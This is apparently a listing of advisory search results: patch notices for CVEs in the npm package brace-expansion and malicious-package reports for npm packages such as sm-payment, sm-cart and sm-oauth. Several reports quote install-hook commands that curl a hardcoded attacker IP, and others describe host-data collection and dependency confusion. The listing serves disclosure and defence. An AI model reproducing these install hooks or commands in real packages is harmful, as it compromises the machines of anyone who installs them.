195551 matches found
ROOT-APP-NPM-CVE-2026-13149 CVE-2026-13149 in brace-expansion - Patched by Root
Root has patched CVE-2026-13149 in the brace-expansion package for Root:npm. Multiple fixed versions available...
ROOT-APP-NPM-CVE-2026-33750 CVE-2026-33750 in brace-expansion - Patched by Root
Root has patched CVE-2026-33750 in the brace-expansion package for Root:npm. Multiple fixed versions available...
ROOT-APP-NPM-CVE-2026-45149 CVE-2026-45149 in brace-expansion - Patched by Root
Root has patched CVE-2026-45149 in the brace-expansion package for Root:npm. Multiple fixed versions available...
MAL-2026-14403 Malicious code in react-emits (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 91c19bc51fdcc52d657031b8a30c2fff700771d0948672a47033628784ec8acc Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in react-emits (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 91c19bc51fdcc52d657031b8a30c2fff700771d0948672a47033628784ec8acc Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-14398 Malicious code in sm-oauth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc package.json declares preinstall and postinstall scripts that run curl -s http://16.192.173.5/sm-oauth/pre and curl -s...
MAL-2026-14390 Malicious code in amundi-compare (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc0f77ca83947d2af9978911d3a4da11af6a6a4773268f662291180c27b6f38 [email protected] is published at an inflated version number consistent with dependency-confusion targeting of an internal package name. The...
Malicious code in @opap/player-kyc-widget (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector abfe2a5c5b34e28b415fb39f20acea1ec320ef85aeb9577c9a52153630f964fc The package's postinstall script runs automatically on npm install and collects host identifiers hostname, username, cwd, platform, arch from the...
MAL-2026-14387 Malicious code in @opap/player-kyc-widget (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector abfe2a5c5b34e28b415fb39f20acea1ec320ef85aeb9577c9a52153630f964fc The package's postinstall script runs automatically on npm install and collects host identifiers hostname, username, cwd, platform, arch from the...
Malicious code in sm-apikey-model (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d8e5a8bc4d985b445afbc71bd563bcee445381d2539a7110a0ca53d54b800367 package.json declares preinstall and postinstall lifecycle scripts that invoke curl over plain HTTP to a hardcoded bare-IP endpoint...
MAL-2026-14394 Malicious code in sm-apikey-model (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d8e5a8bc4d985b445afbc71bd563bcee445381d2539a7110a0ca53d54b800367 package.json declares preinstall and postinstall lifecycle scripts that invoke curl over plain HTTP to a hardcoded bare-IP endpoint...
Malicious code in sm-checkout (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc8dabb0ecf46dc57dd07dacdf28c9cddf629ffb8e9b0cea75e71cd999feaf0 [email protected] declares preinstall and postinstall lifecycle scripts in package.json that invoke curl against a hardcoded bare-IP URL over plain...
MAL-2026-14399 Malicious code in sm-payment (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 926b17cedd788f5f626b3c4001ca9f1b9572abe425b87d40d6f03814d211e3e7 package.json declares preinstall and postinstall lifecycle scripts that curl a hardcoded bare IP over plain HTTP http://16.192.173.5/sm-payment/pre...
Malicious code in sm-payment (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 926b17cedd788f5f626b3c4001ca9f1b9572abe425b87d40d6f03814d211e3e7 package.json declares preinstall and postinstall lifecycle scripts that curl a hardcoded bare IP over plain HTTP http://16.192.173.5/sm-payment/pre...
Malicious code in sm-session (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...
MAL-2026-14400 Malicious code in sm-session (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...
Malicious code in sm-admin (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fa2741ebbd0df8c6f349a4d34361cc3d814fe878f3f4521fd771a855cfdc152b Package [email protected] defines preinstall and postinstall lifecycle scripts that issue plain-HTTP GET requests to a hardcoded bare-IP endpoint at...
MAL-2026-14393 Malicious code in sm-admin (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fa2741ebbd0df8c6f349a4d34361cc3d814fe878f3f4521fd771a855cfdc152b Package [email protected] defines preinstall and postinstall lifecycle scripts that issue plain-HTTP GET requests to a hardcoded bare-IP endpoint at...
Malicious code in sm-cart (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0 Package [email protected] declares preinstall and postinstall scripts that unconditionally run curl -s http://16.192.173.5/sm-cart/pre and curl -s...
MAL-2026-14396 Malicious code in sm-cart (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0 Package [email protected] declares preinstall and postinstall scripts that unconditionally run curl -s http://16.192.173.5/sm-cart/pre and curl -s...